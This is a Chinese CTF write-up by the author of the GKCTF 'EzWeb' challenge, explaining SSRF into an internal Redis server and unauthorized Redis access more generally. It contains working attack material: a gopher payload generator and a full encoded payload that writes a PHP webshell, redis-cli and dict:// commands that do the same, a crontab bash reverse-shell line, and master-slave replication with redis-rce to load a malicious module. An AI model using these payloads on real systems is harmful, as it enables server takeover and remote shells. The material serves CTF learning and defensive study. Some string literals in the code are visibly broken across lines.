zoukankan      html  css  js  c++  java
  • GKCTF-EzWeb+redis未授权访问

    GKCTF-ezweb

    我把docker打包到github上了
    https://github.com/w4aaaander/CTF
    感觉出的简单了...
    考点:

    • 内网探测
    • ssrf+redis未授权

    源码中注释了?secret
    图片: https://uploader.shimo.im/f/hYfrOreyCFPIue26.png
    访问可以得到当前靶机的ip
    图片: https://uploader.shimo.im/f/uzBmL8pT8Ux5q8av.png
    看到有不少师傅去开buu上的内网机做,这里实际上是一个 web服务器 和一个redis 服务器组成的一个内网,是独立于单容器的内网,并且自动组网(来自赵总的解释),所以直接开内网机并不能访问到靶机,直接用ssrf会快得多(当时出题没考虑到结合buu的这个特殊性,在这里给各位师傅们谢罪...逃)

    并且这里过滤的其实不严格,我多此一举的在file:后面加上了//,导致用file:/也可以读文件,这也是我的疏忽
    在这里插入图片描述
    继续,通过内网探测可以发现.11上开着web服务
    图片: https://uploader.shimo.im/f/8CAlhDVH1Czrx4nC.png
    根据提示进一步发现.11开着6379端口
    图片: https://uploader.shimo.im/f/eiv59UdXATjKwrSH.png
    然后可以利用gopher://协议写shell,可以用如下脚本生成exp

    import urllib
    protocol="gopher://"
    ip="173.51.38.11"
    port="6379"
    shell="
    
    <?php system("cat /flag");?>
    
    "
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
    

    图片: https://uploader.shimo.im/f/Lq7WDyYDM7fZKfyN.png

    gopher://173.51.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    

    打过去再次访问.11/shell.php即可
    图片: https://uploader.shimo.im/f/z2hRMrfSu19R9tGv.png
    第一次出题感觉确实拉跨了,原来想着考主从的,但是考虑到buu内网不是那么方便就直接开了web服务让师傅们写shell了,并且可能我没说清楚这题的特殊性导致很多师傅走了弯路,si ni ma sei

    下面做了点小总结

    redis未授权访问

    一般来说如果redis暴露在公网并且没设置密钥保护就可能造成redis未授权访问

    常见的方式有直接
    写shell

    > flushall
    > config set dir /var/www/html
    > config set dbfilename shell.php
    > set webshell "<?php phpinfo();?>"
    > save
    

    在这里插入图片描述
    在这里插入图片描述
    或者写定时任务:

    > flushall
    > set 1 '
    
    */1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
    
    '
    > config set dir /var/spool/crontab/root
    > config set dbfilename root
    > save
    

    但是上面的方式是直接进当前靶机操作的,如果比如想从kali上redis一个ubuntu,可以用
    redis-cli -h ip
    在这里插入图片描述
    但是redis.conf如果中设置了bind ip ,那么这种方法就行不通了
    在这里插入图片描述
    在这里插入图片描述

    ssrf+redis

    例如我能通过某种手段对靶机进行ssrf,那么就可以用Gopher://协议或dict://协议对redis进行操作

    gopher://

    先来看gopher吧,因为数据比较特殊,可以在本地通过socat进行监听数据

    下面的意思是访问2221端口实际上访问6379端口,相当于一个流量转发吧

    root@ubuntu:~# socat -v tcp-listen:2221,fork tcp-connect:localhost:6379
    

    redis写shell时加上- p 2221即可抓到真实数据流

    > 2020/05/14 05:34:08.033689  length=18 from=0 to=17
    *1
    $8
    flushall
    < 2020/05/14 05:34:08.036252  length=5 from=0 to=4
    +OK
    > 2020/05/14 05:34:08.038985  length=54 from=0 to=53
    *4
    $6
    config
    $3
    set
    $3
    dir
    $13
    /var/www/html
    < 2020/05/14 05:34:08.042783  length=5 from=0 to=4
    +OK
    > 2020/05/14 05:34:08.044651  length=57 from=0 to=56
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $9
    shell.php
    < 2020/05/14 05:34:08.048444  length=5 from=0 to=4
    +OK
    > 2020/05/14 05:34:08.050381  length=53 from=0 to=52
    *3
    $3
    set
    $1
    1
    $26
    <?php system($_POST[0]);?>
    < 2020/05/14 05:34:08.052386  length=5 from=0 to=4
    +OK
    > 2020/05/14 05:34:08.054277  length=14 from=0 to=13
    *1
    $4
    save
    < 2020/05/14 05:34:08.056068  length=5 from=0 to=4
    +OK
    

    redis中

    在RESP中,某些数据的类型取决于第一个字节:
    对于Simple Strings,回复的第一个字节是+
    对于error,回复的第一个字节是-
    对于Integer,回复的第一个字节是:
    对于Bulk Strings,回复的第一个字节是$
    对于array,回复的第一个字节是*
    此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
    在RESP中,协议的不同部分始终以" "(CRLF)结束。

    那么我们就需要将以上数据转换成对应的格式,脚本如下

    f = open('payload.txt', 'r')
    s = ''
    for line in f.readlines():
            line = line.replace(r"
    ", "%0d%0a")
            line = line.replace("
    ", '')
            s = s + line
    print s.replace("$", "%24")
    

    或者先知上有直接生成的脚本(这个比较推荐):https://xz.aliyun.com/t/5665#toc-3
    我贴在上面的ezweb里了,就不复制了

    这样跑一下就能生成gopher协议的exp了

    dict://

    dict这个协议同样跟gopher性质类似,操作起来更简单一些
    使用方法如下:

    dict://172.24.0.3:6379/config:set:/var/www/html
    dict://172.24.0.3:6379/config:set:dbfilename:shell.php
    dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
    dict://172.24.0.3:6379/save
    

    如果有回显会返回ok,如下:
    在这里插入图片描述
    但是这时候去看一下redis靶机的shell会发现没有写入,或者干脆是乱码的形式
    在这里插入图片描述
    这时候就需要使用主从复制slaveof了,前提是两台服务器互通
    在这里插入图片描述
    首先在靶机上设置主从服务器

    dict://172.24.0.3:6379/slaveof:ip:6379
    

    这个时候靶机就从属与我们的主服务器了,并且会复制主服务器的信息

    可以用info查看以下主从服务器信息:
    >info
    在这里插入图片描述
    可以看到slaveof成功连接,接下来先设置shell:
    在这里插入图片描述
    然后此时进入靶机容器,get webshell发现成功复制shell
    在这里插入图片描述
    然后需要断开主从
    dict://127.0.0.1:6379/slaveof:no:one
    接下来就跟上面的一样

    dict://172.24.0.3:6379/config:set:dbfilename:shell.php
    dict://172.24.0.3:6379/set:webshell:<?php phpinfo();?>
    dict://172.24.0.3:6379/save
    

    此时完美写入
    在这里插入图片描述在这里插入图片描述

    redis加载so文件

    除了上述两种写shell外,slaveof还能加载so文件getshell
    貌似需要redis版本>5
    在这里插入图片描述
    在这里插入图片描述
    网鼎杯玄武组的一道ssrf也是用了这个思路:
    在这里插入图片描述
    这里我用kali作为攻击192.168.190.169,ubuntu作为靶机192.168.190.153

    首先ubuntu主从上kali
    在这里插入图片描述
    kali下info查看主从
    在这里插入图片描述
    确保连接成功后就可以用exp打了,用第一个的脚本,第二个的so
    https://github.com/Ridter/redis-rce
    https://github.com/n0b0dyCN/redis-rogue-server

    python redis-rce.py -r 攻击ip -L 靶机ip -f exp.so
    在这里插入图片描述
    Reference:
    https://xz.aliyun.com/t/5665#toc-3
    https://www.t00ls.net/articles-56339.html
    https://www.cnblogs.com/paperpen/p/11178751.html

  • 相关阅读:
    pandas-06 Series和Dataframe的排序操作
    java架构之路-(面试篇)JVM虚拟机面试大全
    java架构之路-(spring源码篇)springIOC容器源码解析(上)
    java架构之路-(SpringMVC篇)SpringMVC主要流程源码解析(下)注解配置,统一错误处理和拦截器
    java架构之路-(SpringMVC篇)SpringMVC主要流程源码解析(上)源码执行流程
    java架构之路-(分布式zookeeper)zookeeper集群配置和选举机制详解
    java架构之路-(分布式zookeeper)初识zookeeper安装与参数详解
    java架构之路-(mysql底层原理)Mysql事务隔离与MVCC
    java架构之路-(设计模式)五种创建型模式之单例模式
    java架构之路-(JVM优化与原理)JVM之G1回收器和常见参数配置
  • 原文地址:https://www.cnblogs.com/W4nder/p/12960596.html
Copyright © 2011-2022 走看看